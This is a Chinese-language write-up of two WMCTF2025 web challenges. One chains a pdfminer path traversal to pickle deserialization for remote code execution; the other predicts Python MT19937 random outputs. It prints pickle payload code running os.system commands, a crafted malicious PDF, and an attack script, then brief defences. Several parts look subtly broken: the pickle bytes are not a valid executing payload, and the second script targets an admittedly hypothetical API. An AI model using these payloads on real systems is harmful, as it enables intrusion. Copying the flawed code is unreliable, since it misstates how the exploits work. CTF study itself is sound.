WMCTF2025 Web部分题解
字数 1151 2025-10-01 14:05:52

WMCTF2025 Web题解:PDF解析漏洞与随机数预测攻击

1. pdf2text题目解析

1.1 漏洞原理

该题利用PDF解析库(pdfminer)中的不安全反序列化漏洞,通过构造特殊PDF文件触发pickle.loads()实现远程代码执行。

关键漏洞点:

def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name  # 文件名可控
    # ...路径遍历逻辑...
    path = os.path.join(directory, filename)  # 路径拼接
    gzfile = gzip.open(path)
    return type(str(name), (), pickle.loads(gzfile.read()))  # 反序列化点

1.2 利用条件

  1. 控制PDF的/Encoding属性值
  2. 服务器存在文件上传功能
  3. 可上传.gz格式的恶意序列化数据

1.3 利用步骤

步骤一:构造恶意序列化文件

import pickle
import zlib
import gzip

# 构造RCE payload(创建静态目录并输出flag)
payload = b"""__import__('os').system('mkdir /app/static')
__import__('os').system('cat /flag > /app/static/flag.txt')"""

# 使用STOP操作码限定反序列化范围
pickle_payload = b'''(S''' + payload + b'''
tR.'''

# 生成gzip压缩文件(使用无压缩模式保证格式合法)
with gzip.open('attack.pickle.gz', 'wb') as f:
    f.write(pickle_payload)

步骤二:构造恶意PDF文件

PDF对象需要包含可控的Encoding属性:

%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >> endobj
4 0 obj << 
    /Type /Font 
    /Subtype /Type0 
    /BaseFont /HeiseiMin-W3 
    /Encoding /#2Fapp#2Fuploads#2FAttack-H  <!-- 关键:路径遍历 -->
    /DescendantFonts [6 0 R] 
>> endobj
5 0 obj << /Length 60 >> stream
BT /F1 12 Tf 100 700 Td (Chinese Test) Tj 0 -20 Td (Attack PDF) Tj ET
endstream endobj
6 0 obj << /Type /Font /Subtype /CIDFontType0 /BaseFont /HeiseiMin-W3 /CIDSystemInfo << /Registry (Adobe) /Ordering (Japan1) /Supplement 0 >> >> endobj
xref 0 7 
0000000000 65535 f 
0000000009 00000 n 
0000000058 00000 n 
0000000115 00000 n 
0000000251 00000 n 
0000000369 00000 n 
0000000489 00000 n 
trailer << /Size 7 /Root 1 0 R >>
startxref 629
%%EOF

关键技术点:

  1. 路径遍历:使用#2F代替/绕过PDF格式限制(#2F是URL编码的/
  2. 文件格式:PDF必须包含有效结构(trailer、xref等)
  3. gz格式要求:内部必须为合法的DEFLATE数据流

1.4 攻击流程

  1. 上传恶意.gz文件到/app/uploads/目录
  2. 上传恶意PDF文件触发解析
  3. PDF解析器加载/app/uploads/Attack.pickle.gz
  4. 触发pickle.loads()反序列化执行RCE命令
  5. 通过/static/flag.txt获取flag

2. guess题目解析

2.1 漏洞原理

利用Python随机数生成器(MT19937梅森旋转算法)的可预测性,通过收集足够数量的随机数输出,预测后续随机值。

随机数生成关键代码:

key2 = random.getrandbits(32)  # 生成32位随机数

2.2 MT19937算法特性

  • 周期:2^19937-1
  • 状态数组:624个uint32值
  • 输出:每624次生成后重新旋转状态数组
  • 可预测性:获得624个连续输出即可预测后续所有输出

2.3 利用步骤

步骤一:收集随机数样本

通过注册用户或API接口收集至少624个key2值(32位整数)

步骤二:重建随机数状态

from mt19937predictor import MT19937Predictor
import random

predictor = MT19937Predictor()

# 填入收集到的624个随机数
for i in range(624):
    predictor.setrandbits(collected_values[i], 32)

# 预测下一个随机数
next_key2 = predictor.getrandbits(32)

步骤三:构造RCE Payload

由于无回显,需要将命令结果写入web目录:

# 预测key2后执行的payload
rce_payload = [
    "__import__('os').system('mkdir /app/static')",
    "__import__('os').system('cat /flag > /app/static/flag.txt')"
]

2.4 完整攻击脚本

import requests
from mt19937predictor import MT19937Predictor

# 1. 收集随机数样本
collected_values = []
for i in range(624):
    resp = requests.get('/api/get_key2')  # 假设的API接口
    key2 = resp.json()['key2']
    collected_values.append(key2)

# 2. 重建预测器
predictor = MT19937Predictor()
for val in collected_values:
    predictor.setrandbits(val, 32)

# 3. 预测下一个key2并发送RCE
next_key2 = predictor.getrandbits(32)
payload = {
    "key2": next_key2,
    "command": "mkdir /app/static; cat /flag > /app/static/flag.txt"
}
requests.post('/api/execute', json=payload)

3. 防御方案

3.1 反序列化漏洞防御

  1. 禁用不必要的反序列化功能
  2. 使用安全替代方案(如JSON)
  3. 对反序列化操作进行沙箱隔离
  4. 校验输入数据的合法性

3.2 随机数安全防御

  1. 使用加密安全随机数生成器(os.urandom()
  2. 避免泄露随机数内部状态
  3. 对关键操作使用不可预测的随机数
  4. 定期重置随机数生成器状态

4. 总结

两道题目分别展示了:

  1. pdf2text:文件格式解析与反序列化链的利用
  2. guess:伪随机数算法的密码学安全问题

关键攻击技术包括:

  • PDF属性控制与路径遍历
  • pickle反序列化payload构造
  • MT19937状态重建与预测
  • 无回显RCE的成果外带方法

这些漏洞在真实Web应用中同样存在,需要开发者充分理解底层机制并实施适当防护措施。

WMCTF2025 Web题解:PDF解析漏洞与随机数预测攻击 1. pdf2text题目解析 1.1 漏洞原理 该题利用PDF解析库(pdfminer)中的不安全反序列化漏洞,通过构造特殊PDF文件触发 pickle.loads() 实现远程代码执行。 关键漏洞点: 1.2 利用条件 控制PDF的 /Encoding 属性值 服务器存在文件上传功能 可上传.gz格式的恶意序列化数据 1.3 利用步骤 步骤一:构造恶意序列化文件 步骤二:构造恶意PDF文件 PDF对象需要包含可控的Encoding属性: 关键技术点: 路径遍历 :使用 #2F 代替 / 绕过PDF格式限制( #2F 是URL编码的 / ) 文件格式 :PDF必须包含有效结构(trailer、xref等) gz格式要求 :内部必须为合法的DEFLATE数据流 1.4 攻击流程 上传恶意.gz文件到 /app/uploads/ 目录 上传恶意PDF文件触发解析 PDF解析器加载 /app/uploads/Attack.pickle.gz 触发 pickle.loads() 反序列化执行RCE命令 通过 /static/flag.txt 获取flag 2. guess题目解析 2.1 漏洞原理 利用Python随机数生成器(MT19937梅森旋转算法)的可预测性,通过收集足够数量的随机数输出,预测后续随机值。 随机数生成关键代码: 2.2 MT19937算法特性 周期:2^19937-1 状态数组:624个uint32值 输出:每624次生成后重新旋转状态数组 可预测性:获得624个连续输出即可预测后续所有输出 2.3 利用步骤 步骤一:收集随机数样本 通过注册用户或API接口收集至少624个key2值(32位整数) 步骤二:重建随机数状态 步骤三:构造RCE Payload 由于无回显,需要将命令结果写入web目录: 2.4 完整攻击脚本 3. 防御方案 3.1 反序列化漏洞防御 禁用不必要的反序列化功能 使用安全替代方案(如JSON) 对反序列化操作进行沙箱隔离 校验输入数据的合法性 3.2 随机数安全防御 使用加密安全随机数生成器( os.urandom() ) 避免泄露随机数内部状态 对关键操作使用不可预测的随机数 定期重置随机数生成器状态 4. 总结 两道题目分别展示了: pdf2text :文件格式解析与反序列化链的利用 guess :伪随机数算法的密码学安全问题 关键攻击技术包括: PDF属性控制与路径遍历 pickle反序列化payload构造 MT19937状态重建与预测 无回显RCE的成果外带方法 这些漏洞在真实Web应用中同样存在,需要开发者充分理解底层机制并实施适当防护措施。